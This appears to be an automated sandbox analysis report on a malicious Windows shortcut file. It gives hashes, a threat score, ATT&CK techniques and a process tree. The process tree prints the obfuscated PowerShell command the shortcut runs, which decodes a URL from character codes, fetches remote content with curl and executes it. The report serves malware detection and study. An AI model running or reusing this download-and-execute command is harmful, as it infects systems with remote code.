e5b5825b5bf7e37f4823559e810624561ababb4506170b67e90edc65019f97a8

Resubmissions

16/09/2022, 02:53

220916-ddjjxaacdm 8

15/09/2022, 06:59

220915-hr3l6acbg3 8

Analysis

max time kernel
91s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
16/09/2022, 02:53

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Report Analysis Logs

General

Target

7704683388.lnk
Size

1KB
MD5

f00bb79d2e4939d42d231bff01239359
SHA1

c85b872ed33f1fdbdc5ba0b20c52b09718593c92
SHA256

e5b5825b5bf7e37f4823559e810624561ababb4506170b67e90edc65019f97a8
SHA512

b1cc7de0d222f59aca56ee3d822152c2f9e1fac5e10efdd22785cac9edeb23b3021886592b1908e2ebac6fab5e9a3baa7d19bf55ee190c29d838c9e8fefe4d64

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	1168	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1168	powershell.exe
1168	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1168	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1072 wrote to memory of 4392	1072	cmd.exe	80
PID 1072 wrote to memory of 4392	1072	cmd.exe	80
PID 4392 wrote to memory of 1168	4392	conhost.exe	81
PID 4392 wrote to memory of 1168	4392	conhost.exe	81

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\7704683388.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless powershell @(1711,1724,1726,1708,1715,1711,1656,1726,1721,1722,1657,1666,1663)|foreach{$69lr=$69lr+[char]($_-1610)};$md2s='rl';new-alias j cu$md2s;.$([char](2208-2103)+'ex')(j -useb $69lr)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell @(1711,1724,1726,1708,1715,1711,1656,1726,1721,1722,1657,1666,1663)|foreach{$69lr=$69lr+[char]($_-1610)};$md2s='rl';new-alias j cu$md2s;.$([char](2208-2103)+'ex')(j -useb $69lr)
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1168-134-0x000001C27D330000-0x000001C27D352000-memory.dmp

Filesize
136KB

Download
memory/1168-135-0x00007FFA44BA0000-0x00007FFA45661000-memory.dmp

Filesize
10.8MB

Download
memory/1168-136-0x00007FFA44BA0000-0x00007FFA45661000-memory.dmp

Filesize
10.8MB

Download